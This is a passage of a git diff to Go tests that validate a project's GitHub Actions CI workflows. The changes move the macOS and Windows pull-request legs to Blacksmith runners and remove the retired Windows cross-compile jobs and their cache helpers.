"blacksmith-2vcpu-windows-2025"}, + {blacksmithWindows4vcpuRunsOn, blacksmithWindowsLabel}, + {"${{ '" + blacksmithMacOSLabel + "' }}", blacksmithMacOSLabel}, + } { for _, e := range events { - t.Run(m.marker+"/"+e.name, func(t *testing.T) { - ctx := map[string]string{ - "github.event_name": e.event, - "github.event.pull_request.head.repo.full_name": e.headRepo, - "github.repository": ownRepo, - "github.actor": e.actor, - "matrix.runner": m.marker, - "matrix.os": m.os, - } - got := mustEvalGHRunsOn(t, sameRepoPlatformsMatrixMarkerRunsOn, ctx) - want := mustEvalGHRunsOn(t, m.flat, ctx) - if got != want { - t.Errorf("marker %s under %s: runs-on = %q, flat const resolves to %q", m.marker, e.name, got, want) - } - }) + ctx := map[string]string{ + "github.event_name": e.event, + "github.event.pull_request.head.repo.full_name": e.headRepo, + "github.repository": ownRepo, + "github.actor": e.actor, + } + if got := mustEvalGHRunsOn(t, c.expr, ctx); got != c.want { + t.Errorf("%s under %s = %q, want %q", c.expr, e.name, got, c.want) + } + } + } + for _, leg := range []string{blacksmithMacOSLabel, blacksmithWindowsLabel} { + if got := mustEvalGHRunsOn(t, platformsMatrixRunsOn, map[string]string{"matrix.runner": leg}); got != leg { + t.Errorf("%s with matrix.runner %q = %q", platformsMatrixRunsOn, leg, got) } } } diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index b1d251737..67e1bdfc3 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -194,19 +194,15 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { } // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the -// reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (test-windows and the macOS Go build cache saver) -// must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and -// the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage) -// -- dropping either silently loses a cache seed with no test noticing -// (TestSameRepoBlacksmithRunners only pins the runs-on ternary string, which -// does not change shape if a matrix axis's value list shrinks). +// reviewer's mutate.py found surviving against pre-fix code (M8, M9). The +// Windows and macOS savers (test-windows, blacksmith-macos-go-build-cache) +// run one Blacksmith leg only: no GitHub-hosted Windows or macOS PR leg is +// left to seed (ga-96smfk.22). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") for _, jobName := range []string{"test-windows", "blacksmith-macos-go-build-cache"} { - job := workflow.job(t, jobName) - if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { - t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) + if m := workflow.job(t, jobName).Strategy.Matrix; len(m.Venue) != 0 || len(m.Include) != 0 { + t.Errorf("main.yml's %s has a matrix %+v; it seeds the one Blacksmith label its PR legs run on", jobName, m) } } } @@ -252,55 +248,38 @@ var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-fre // TestBlacksmithMacOSSaverMatchesPRLegs pins the contract between pr.yml's // macOS PR legs and their only seeder, main.yml's // blacksmith-macos-go-build-cache: Blacksmith cannot see GitHub-saved caches -// (and vice versa), so the saver must run on exactly the labels a same-repo -// and a fork PR's macOS leg resolve to, write the cache path/key family those legs -// restore, and compile what they compile (the shared warm-up). The PR legs -// stay restore-only and are inside the default-caching-action sweep. +// (and vice versa), so the saver must run on exactly the label every PR's +// macOS leg runs on (forks included), write the cache path/key family those +// legs restore, and compile what they compile (the shared warm-up). The PR +// legs stay restore-only and are inside the default-caching-action sweep. func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") mainWF := readCIWorkflow(t, "main.yml") saver := mainWF.job(t, "blacksmith-macos-go-build-cache") - const ownRepo = "gastownhall/beads" - sameRepoMacOS := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": ownRepo, - "github.repository": ownRepo, - "github.actor": "alice", - "matrix.runner": "same-repo-macos", - "matrix.os": "macos-latest", - } - forkMacOS := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": "someone/beads", - "github.repository": ownRepo, - "github.actor": "someone", - "matrix.runner": "same-repo-macos", - "matrix.os": macOSRunner, - } - // One leg per venue: the Blacksmith leg seeds same-repo PRs, the github - // leg the fork/Dependabot macos-latest path. - if want := "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}"; saver.RunsOn != want { + if want := "${{ '" + blacksmithMacOSLabel + "' }}"; saver.RunsOn != want { t.Errorf("blacksmith-macos-go-build-cache runs-on = %q, want %q", saver.RunsOn, want) } - if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 || !equalStrings(saver.Strategy.Matrix.Venue, []string{"blacksmith", "github"}) { - t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v venue=%v, want a timeout and one leg per venue [blacksmith github]", - saver.TimeoutMinutes, saver.Strategy.Matrix.Include, saver.Strategy.Matrix.Venue) + if saver.TimeoutMinutes == 0 { + t.Error("blacksmith-macos-go-build-cache has no timeout-minutes") } saverSave := saver.step(t, "Save non-race Go build cache") for _, jobName := range blacksmithMacOSPRLegJobs { job := pr.job(t, jobName) - // The default-caching sweep (TestBlacksmithReachablePRJobsDisableDefaultCachingActions) - // and the no-secrets sweep select jobs by a blacksmith- runs-on. - if !strings.Contains(job.RunsOn, "'"+blacksmithMacOSLabel+"'") || !strings.Contains(job.RunsOn, "blacksmith-") { - t.Errorf("pr.yml %s runs-on %q does not name %s", jobName, job.RunsOn, blacksmithMacOSLabel) + // Every PR's macOS leg, forks included, runs on the saver's label. + macOSLegs := 0 + for _, leg := range job.Strategy.Matrix.Include { + if leg.OS != macOSRunner { + continue + } + macOSLegs++ + if got := mustEvalGHRunsOn(t, job.RunsOn, map[string]string{"matrix.runner": leg.Runner, "matrix.os": leg.OS}); got != blacksmithMacOSLabel { + t.Errorf("pr.yml %s macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) + } } - if got := mustEvalGHRunsOn(t, job.RunsOn, sameRepoMacOS); got != blacksmithMacOSLabel { - t.Errorf("pr.yml %s same-repo macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) - } - if got := mustEvalGHRunsOn(t, job.RunsOn, forkMacOS); got != macOSRunner { - t.Errorf("pr.yml %s fork macOS leg resolves to %q, want the saver's github leg %q", jobName, got, macOSRunner) + if macOSLegs != 1 { + t.Errorf("pr.yml %s has %d macOS legs, want 1", jobName, macOSLegs) } if setup := job.step(t, "Set up Go"); setup.With["cache"] != "false" { t.Errorf("pr.yml %s Set up Go cache = %q, want \"false\"", jobName, setup.With["cache"]) diff --git a/scripts/ci_workflow_apt_get_timeout_test.go b/scripts/ci_workflow_apt_get_timeout_test.go index c9e06284b..c4c09efe7 100644 --- a/scripts/ci_workflow_apt_get_timeout_test.go +++ b/scripts/ci_workflow_apt_get_timeout_test.go @@ -59,28 +59,6 @@ func aptStepBudgets() []aptStepBudget { installPkgs: "gcc-mingw-w64-x86-64 gcc-aarch64-linux-gnu osslsigncode", capMinutes: 13, }, - { - workflow: "pr.yml", - job: "windows-test-binaries", - step: "Install mingw cross-compiler", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 300, - installPkgs: "gcc-mingw-w64-x86-64", - capMinutes: 12, - }, - { - workflow: "main.yml", - job: "windows-test-binaries-cache", - step: "Install mingw cross-compiler", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 300, - installPkgs: "gcc-mingw-w64-x86-64", - capMinutes: 12, - }, } } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index dd4ccd44c..bf8d8d6b9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -316,7 +316,7 @@ func TestPRWorkflowExercisesNativeUserConfigDiagnostics(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") // The benchmark-environment test owns the shared job and matrix shape. - wantHosts := map[string]string{"ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows"} + wantHosts := map[string]string{"macos-latest": "darwin", "windows-latest": "windows"} gotHosts := make(map[string][]string) for _, tuple := range job.Strategy.Matrix.Include { gotHosts[tuple.OS] = append(gotHosts[tuple.OS], tuple.ExpectedGOOS) @@ -356,8 +356,8 @@ func TestPRWorkflowRequiresNativeInitGatewayCredential(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, jobName) - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("credential shell boundary requires the native three-host matrix: runner=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) + if job.RunsOn != platformsMatrixRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "windows-latest"}) { + t.Errorf("credential shell boundary requires the native macOS/Windows matrix: runner=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) } if job.If != "" || job.ContinueOnError { t.Errorf("credential process job is bypassable: if=%q continue-on-error=%v", job.If, job.ContinueOnError) @@ -458,11 +458,16 @@ func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn { - t.Errorf("pr-preflight-platforms runs-on = %q, want the matrix-marker chained ternary", job.RunsOn) + if job.RunsOn != platformsMatrixRunsOn { + t.Errorf("pr-preflight-platforms runs-on = %q, want the per-leg Blacksmith label", job.RunsOn) } - if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("pr-preflight-platforms matrix os = %v, want required three-host matrix", got) + if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "windows-latest"}) { + t.Errorf("pr-preflight-platforms matrix os = %v, want the macOS and Windows hosts (Linux runs under Bazel)", got) + } + for _, tuple := range job.Strategy.Matrix.Include { + if tuple.Runner != platformsMatrixRunners[tuple.OS] { + t.Errorf("pr-preflight-platforms %s leg runner = %q, want %q", tuple.OS, tuple.Runner, platformsMatrixRunners[tuple.OS]) + } } if job.If != "" { t.Errorf("pr-preflight-platforms job is conditional: %q", job.If) @@ -589,20 +594,22 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { gate := workflow.job(t, "ci-gate") evaluate := gate.step(t, "Evaluate CI gate") env := evaluate.Env - // F4 side-by-side rollout (SF-5): TEST_WINDOWS_LIVENESS is no longer in - // the static CI_GATE_REQUIRED list -- the WINDOWS_PREBUILT_REQUIRED flag - // mechanism (TestWindowsPrebuiltRequiredFlagMechanism, - // scripts/windows_test_binaries_manifest_test.go) adds it dynamically in - // the run script. Since the rollout finished the flag is "true": the - // prebuilt pair is required and the native pair stays wired (advisory) - // for a one-line rollback. Check that wiring here instead of the old - // static list membership. - if !contains(gate.Needs, "test-windows-liveness") || - env["TEST_WINDOWS_LIVENESS"] != "${{ needs.test-windows-liveness.result }}" || - workflow.Env["WINDOWS_PREBUILT_REQUIRED"] != "true" || - !strings.Contains(evaluate.Run, `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`) || - !strings.Contains(evaluate.Run, `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`) { - t.Fatal("CI gate must keep both Windows pairs wired and require the prebuilt pair (WINDOWS_PREBUILT_REQUIRED=\"true\"); the native pair stays wired for rollback") + // The native pair is the required run of these tests (ga-96smfk.22 + // retired the Linux-cross-compiled "-prebuilt" twins and the + // WINDOWS_PREBUILT_REQUIRED flag): statically in CI_GATE_REQUIRED. + required := strings.Fields(env["CI_GATE_REQUIRED"]) + for job, id := range map[string]string{"test-windows-liveness": "TEST_WINDOWS_LIVENESS", "worktree-remove-windows": "WORKTREE_REMOVE_WINDOWS"} { + if !contains(gate.Needs, job) || env[id] != "${{ needs."+job+".result }}" || !contains(required, id) { + t.Errorf("CI gate must require %s (%s)", job, id) + } + } + for _, retired := range []string{"windows-test-binaries", "test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { + if _, ok := workflow.Jobs[retired]; ok || contains(gate.Needs, retired) { + t.Errorf("pr.yml has retired job %s", retired) + } + } + if _, ok := workflow.Env["WINDOWS_PREBUILT_REQUIRED"]; ok || strings.Contains(evaluate.Run, "PREBUILT") { + t.Error("pr.yml still carries the retired WINDOWS_PREBUILT_REQUIRED switch") } } @@ -616,8 +623,8 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, jobName) - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("generated-hook process job is not the required three-host matrix: runs-on=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) + if job.RunsOn != platformsMatrixRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "windows-latest"}) { + t.Errorf("generated-hook process job is not the required macOS/Windows matrix: runs-on=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) } if job.TimeoutMinutes != 20 { t.Errorf("generated-hook process job timeout = %d minutes, want 20", job.TimeoutMinutes) @@ -749,15 +756,15 @@ func TestNightlyRunsNoGoTestOnARunner(t *testing.T) { func TestPRPreflightPlatformsRunsTestScriptPrebuiltBinaryContract(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn { - t.Errorf("pr-preflight-platforms runs-on = %q, want the matrix-marker chained ternary", job.RunsOn) + if job.RunsOn != platformsMatrixRunsOn { + t.Errorf("pr-preflight-platforms runs-on = %q, want the per-leg Blacksmith label", job.RunsOn) } if job.If != "" || job.TimeoutMinutes != 20 { t.Errorf("pr-preflight-platforms condition/timeout = %q/%d, want unconditional/20", job.If, job.TimeoutMinutes) } - if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("pr-preflight-platforms matrix os = %v, want all three hosted platforms", got) + if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "windows-latest"}) { + t.Errorf("pr-preflight-platforms matrix os = %v, want the macOS and Windows hosts", got) } const stepName = "Exercise test.sh prebuilt binary path" @@ -789,7 +796,7 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "check-doc-freshness-platforms") - if want := sameRepoPlatformsMatrixMarkerRunsOn; job.RunsOn != want { + if want := platformsMatrixRunsOn; job.RunsOn != want { t.Errorf("check-doc-freshness-platforms runs-on = %q, want %q", job.RunsOn, want) } // The Linux leg runs in Bazel (TestDocFreshnessLinuxLegRunsInBazel); @@ -798,14 +805,9 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { "macos-latest": "darwin", "windows-latest": "windows", } - // F7b: each host's include tuple also carries a "runner" marker - // (same-repo-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn - // resolves against; check it matches the host instead of treating it as an - // unexpected field. - wantRunnerMarker := map[string]string{ - "macos-latest": "same-repo-macos", - "windows-latest": "same-repo-windows", - } + // Each host's include tuple names its Blacksmith label in "runner" + // (platformsMatrixRunsOn), for every PR, forks included. + wantRunnerMarker := platformsMatrixRunners if len(job.Strategy.Matrix.OS) != 0 { t.Errorf("check-doc-freshness-platforms retains an unbound os-list matrix: %v", job.Strategy.Matrix.OS) } @@ -827,7 +829,7 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { t.Errorf("runner %q expected_goos = %q, want %q", tuple.OS, tuple.ExpectedGOOS, wantGOOS) } if tuple.Runner != wantRunnerMarker[tuple.OS] { - t.Errorf("runner %q matrix runner marker = %q, want %q", tuple.OS, tuple.Runner, wantRunnerMarker[tuple.OS]) + t.Errorf("runner %q matrix runner label = %q, want %q", tuple.OS, tuple.Runner, wantRunnerMarker[tuple.OS]) } if tuple.Coverage || tuple.TestFlags != "" { t.Errorf( @@ -906,11 +908,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), }) - // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries - // job only restores (PR workflows never save). - assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), - }) // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' // macOS legs: its blacksmith venue leg seeds the same-repo path (and the // `test` job), its github leg the fork path. @@ -924,15 +921,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - // F4.4 advisory phase: windows-test-binaries cross-compiles on Linux and - // only restores (never saves; main.yml's windows-test-binaries-cache job - // is the saver). Its "-prebuilt" twins (test-windows-liveness-prebuilt, - // worktree-remove-windows-prebuilt) download the resulting artifact and - // run the binaries directly, so they use no Go cache action at all and - // need no entry here or in the managed map below. - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "windows-test-binaries"), []goCacheStep{ - restoreModuleCache(), restoreXCompileCache(), - }) // F7b review (S2): restore-only non-race Go build cache seeded by // main.yml's test-windows Blacksmith leg (warm-non-race-cache.sh) on the // exact same runner selection, targeting this job's own cold cmd/bd test @@ -960,13 +948,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "test": true, "test-windows": true, - "windows-test-binaries-cache": true, "blacksmith-macos-go-build-cache": true, }, "pr.yml": { "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {}, @@ -982,16 +968,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainWindows, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build (pure Go regex)"}) assertStepsBefore(t, mainWindows, []string{"Build (pure Go regex)", "Smoke test - version", "Smoke test - help"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - prXCompile := workflows["pr.yml"].job(t, "windows-test-binaries") - assertStepsBefore(t, prXCompile, []string{"Restore Go module cache"}, []string{"Verify Go module checksums", "Build Windows test binaries"}) - assertStepsBefore(t, prXCompile, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) - assertStepsBefore(t, prXCompile, []string{"Build Windows test binaries"}, []string{"Upload Windows test binaries"}) - - mainXCompileCache := workflows["main.yml"].job(t, "windows-test-binaries-cache") - assertStepsBefore(t, mainXCompileCache, []string{"Restore Go module cache"}, []string{"Install mingw cross-compiler", "Build Windows test binaries"}) - assertStepsBefore(t, mainXCompileCache, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) - assertStepsBefore(t, mainXCompileCache, []string{"Build Windows test binaries"}, []string{"Save Go module cache", "Save Go build cache (Windows cross-compile)"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Run native Windows worktree removal boundary tests"}) assertStepsBefore(t, workflows["pr.yml"].job(t, "check-doc-freshness-platforms"), @@ -1004,8 +980,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") - assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "windows-test-binaries"), "Build Windows test binaries", xcompileCacheProfile()) assertGoCacheEnv(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), "Run native Windows worktree removal boundary tests", "non-race") for _, workflowName := range []string{"pr.yml", "pr-risk.yml"} { for jobName, job := range workflows[workflowName].Jobs { @@ -1019,18 +993,14 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) - assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) - assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) + assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) + assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "").ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ {"main.yml", "test"}, {"main.yml", "test-windows"}, - {"main.yml", "windows-test-binaries-cache"}, {"main.yml", "blacksmith-macos-go-build-cache"}, - {"pr.yml", "windows-test-binaries"}, {"pr.yml", "worktree-remove-windows"}, {"pr.yml", "check-doc-freshness-platforms"}, {"pr.yml", "pr-preflight-platforms"}, @@ -1042,34 +1012,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } } -// TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections is the regression -// test for F4 review SF-1: main.yml's windows-test-binaries-cache job must -// seed its cache keys from both runner selections pr.yml's windows-test- -// binaries job can land on (Blacksmith for same-repo PRs/merge_group, -// ubuntu-latest for forks/Dependabot), because Blacksmith and GitHub-hosted -// runners cannot see each other's actions/cache entries even for an -// identical key. A single-leg seeder would silently leave one of the two -// consumer paths permanently cold. -func TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "windows-test-binaries-cache") - - if job.RunsOn != mainWindowsTestBinariesCacheRunsOn { - t.Errorf("windows-test-binaries-cache runs-on = %q, want %q", job.RunsOn, mainWindowsTestBinariesCacheRunsOn) - } - wantRunners := []string{"blacksmith", "github"} - if !equalStrings(job.Strategy.Matrix.Runner, wantRunners) { - t.Errorf("windows-test-binaries-cache strategy.matrix.runner = %v, want %v", job.Strategy.Matrix.Runner, wantRunners) - } - if job.Strategy.FailFast { - t.Error("windows-test-binaries-cache strategy.fail-fast must be false: one runner selection being unavailable must not cancel the other's seed") - } - // Mirrors pr.yml's windows-test-binaries job (pr.yml:522's timeout is 30 - // too): this job runs the same mingw install + cross-compile. - if job.TimeoutMinutes != 30 { - t.Errorf("windows-test-binaries-cache timeout-minutes = %d, want 30", job.TimeoutMinutes) - } -} - func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) { // pr4107_corruption_test.go and journal_scope_completeness_test.go use // paths relative to internal/storage/dolt (e.g. ../schema/migrations, @@ -1303,9 +1245,8 @@ func saveModuleCacheIf(condition string) goCacheStep { } // saveModuleCacheAfterFailure is saveModuleCache with a failure-surviving -// condition, for single-runner saver jobs (windows-test-binaries- -// cache) where a flaky mid-build step (e.g. the mingw apt-get install) -// should not prevent the module cache fetched before it from being saved. +// condition, for saver jobs where a flaky mid-build step should not +// prevent the module cache fetched before it from being saved. func saveModuleCacheAfterFailure() goCacheStep { step := saveModuleCache() step.ifCondition = failureSurvivingCacheSaveCondition(cacheMissCondition(goModuleCacheRestoreID)) @@ -1346,40 +1287,6 @@ func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { return step } -// The Windows cross-compile GOCACHE (F4.4) is a separate cache dimension from -// goBuildCache*'s base/race/non-race profiles: it is never shared with a -// native build on the runner's own OS, so it gets its own key shape (no -// "-base--" segment) and its own fixed restore/save id, rather than -// reusing goBuildCacheRestoreID's "restore--go-build-cache" pattern. -func xcompileCacheProfile() string { return "xcompile-windows-amd64" } - -func xcompileCachePrefix() string { - return "beads-go-build-" + goCacheSchema + "-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-" + xcompileCacheProfile() + "-" -} - -func xcompileCacheKey() string { return xcompileCachePrefix() + "${{ github.sha }}" } - -func xcompileCachePath() string { return goBuildCachePath(xcompileCacheProfile()) } - -func xcompileCacheRestoreID() string { return "restore-xcompile-go-build-cache" } - -// restoreXCompileCache is the PR-side (restore-only, no id needed since -// pr.yml never saves) shape; mainRestoreXCompileCache is main.yml's -// saver-side shape, which needs the id for its Save step's cache-miss `if`. -func restoreXCompileCache() goCacheStep { - return goCacheStep{name: "Restore Go build cache (Windows cross-compile)", family: cacheRestoreActionFamily, key: xcompileCacheKey(), restoreKeys: xcompileCachePrefix(), path: xcompileCachePath()} -} - -func mainRestoreXCompileCache() goCacheStep { - step := restoreXCompileCache() - step.id = xcompileCacheRestoreID() - return step -} - -func saveXCompileCache() goCacheStep { - return goCacheStep{name: "Save Go build cache (Windows cross-compile)", family: cacheSaveActionFamily, key: xcompileCacheKey(), path: xcompileCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(xcompileCacheRestoreID()))} -} - func assertGoCacheInventory(t *testing.T, job ciWorkflowJob, want []goCacheStep) { t.Helper() @@ -2040,33 +1947,16 @@ const wantRBERunsOn = "${{ (github.event_name == 'push' || github.event_name == // that checks them now live in ci_blacksmith_runner_test.go (shared with // F7c; see that file's doc comment for the API F7c rebases onto). -// F4 review SF-1: main.yml's windows-test-binaries-cache job seeds the same -// cache keys/paths from both runner selections pr.yml's windows-test-binaries -// job can land on (sameRepoBlacksmith8vcpu, defined in -// ci_blacksmith_runner_test.go, for same-repo PRs/merge_group; ubuntu-latest -// for forks/Dependabot). Blacksmith runners can't -// see a GitHub-hosted runner's actions/cache entries (and vice versa) even -// though both report the same runner.os/runner.arch, so a single-leg seeder -// only ever warms one of the two consumer paths. matrix.runner (not a -// literal Blacksmith label substituted directly into runs-on) keeps -// actionlint from trying and failing to resolve an undeclared self-hosted -// label: it treats this ternary form as a dynamic value and skips it, same -// as every other Blacksmith runs-on in this repo. -const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" - // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that // compile Go). F7a independently defined the same const; both are now served // by the single shared sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. -// F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE -// alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// test-windows and blacksmith-macos-go-build-cache. -const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" - -// main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's -// same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. -const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}" +// main.yml's push-to-main-only Windows and macOS savers, on the exact labels +// pr.yml's Windows and macOS legs run on (no GitHub-hosted leg is left to +// seed, ga-96smfk.22). +const mainBlacksmithWindows4vcpuRunsOn = blacksmithWindows4vcpuRunsOn +const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" // main.yml's push-to-main-only macOS test job, on Blacksmith macOS. const 